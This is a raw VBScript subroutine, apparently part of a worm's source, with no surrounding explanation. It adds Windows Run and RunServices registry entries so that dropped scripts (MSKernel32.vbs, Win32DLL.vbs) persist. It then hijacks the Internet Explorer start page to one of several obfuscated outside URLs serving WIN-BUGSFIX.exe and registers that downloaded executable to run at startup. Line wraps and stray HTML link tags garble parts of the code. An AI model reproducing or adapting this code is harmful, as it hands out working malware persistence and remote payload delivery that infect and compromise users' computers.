sub regruns()
  On Error Resume Next
  Dim numdownread
  regcreate
  "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersi
  on\Run\MSKernel32"dirsystem&"\MSKernel32.vbs"
  regcreate
  "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersi
  on\RunServices\Win32DLL"dirwin&"\Win32DLL.vbs"
  downread=""
  downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Intern
  et Explorer\Download Directory")
  if (downread="") then
  downread="c:\"
  end if
  if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
  Randomize
  num = Int((4 * Rnd) + 1)
  if num = 1 then
  regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
  Page""<A href="http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTF" target="link">http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTF</A>
  wetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
  elseif num = 2 then
  regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
  Page""<A href="http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikj" target="link">http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikj</A>
  UIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-
  BUGSFIX.exe"
  elseif num = 3 then
  regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
  Page""<A href="http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hf" target="link">http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hf</A>
  FEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
  elseif num = 4 then
  regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
  Page""<A href="http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtu" target="link">http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtu</A>
  HJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshf
  gqw237461234iuy7thjg/WIN-BUGSFIX.exe"
  end if
  end if
  if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
  regcreate
  "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersi
  on\Run\WIN-BUGSFIX"downread&"\WIN-BUGSFIX.exe"
  regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
  Explorer\Main\Start Page""about:blank"
  end if
  end sub